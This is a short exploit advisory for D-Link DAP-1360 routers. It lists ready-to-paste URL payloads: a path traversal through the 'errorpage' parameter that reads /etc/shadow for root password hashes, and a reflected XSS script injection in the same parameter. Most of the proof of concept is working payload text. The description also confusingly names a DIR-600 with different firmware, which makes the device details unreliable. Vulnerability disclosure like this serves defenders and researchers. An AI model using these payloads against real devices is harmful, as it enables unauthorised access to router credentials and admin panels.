D-link DAP-1360 - Path Traversal / Cross-Site Scripting

# Exploit Title: D-Link DAP-1360  File path traversal and Cross site
scripting[reflected] can lead to Authentication Bypass easily.
# Date: 20-07-2018
# Exploit Author: r3m0t3nu11
# Contact : http://twitter.com/r3m0t3nu11
# Vendor : www.dlink.com
# Version: Hardware version: F1
Firmware version: 6.O5
# Tested on:All Platforms


1) Description

After Successfully Connected to D-Link DIR-600
Router(FirmWare Version : 2.01), Any User Can Bypass The Router's
Root password as well bypass admin panel.

D-Link DAP-1360  devices with v6.x firmware allow remote attackers to
read passwords via a errorpage paramater which lead to absolute path
traversal attack,

Its More Dangerous when your Router has a public IP with remote login
enabled.


IN MY CASE,
Tested Router IP : http://192.168.70.69/



Video POC : https://www.dropbox.com/s/tvpq2jm3jv48j3c/D-link.mov?dl=0

2) Proof of Concept

Step 1: Go to
Router Login Page : http://192.168.70.69:80

Step 2:
Add the payload to URL.

Payload:
getpage=html%2Findex.html&errorpage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=dd&%3Aaction=login&%3Asessionid=3a6a085



Now u can get root password by reading /etc/shadow.

2- XSS
  Step 1: Go to
Router Login Page : http://192.168.70.69:80

Step 2:
Add the payload to URL.

Payload:
getpage=html%2Findex.html&errorpage=<Script>alert('r3m0t3nu11')</script>&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=dd&%3Aaction=login&%3Asessionid=3a6a085

u will get r3m0t3nu11 name pop up as reflected xss

Greetz to : Samir Hadji,0n3,C0ld Z3r0,alm3refh group,0x30 team,zero way team.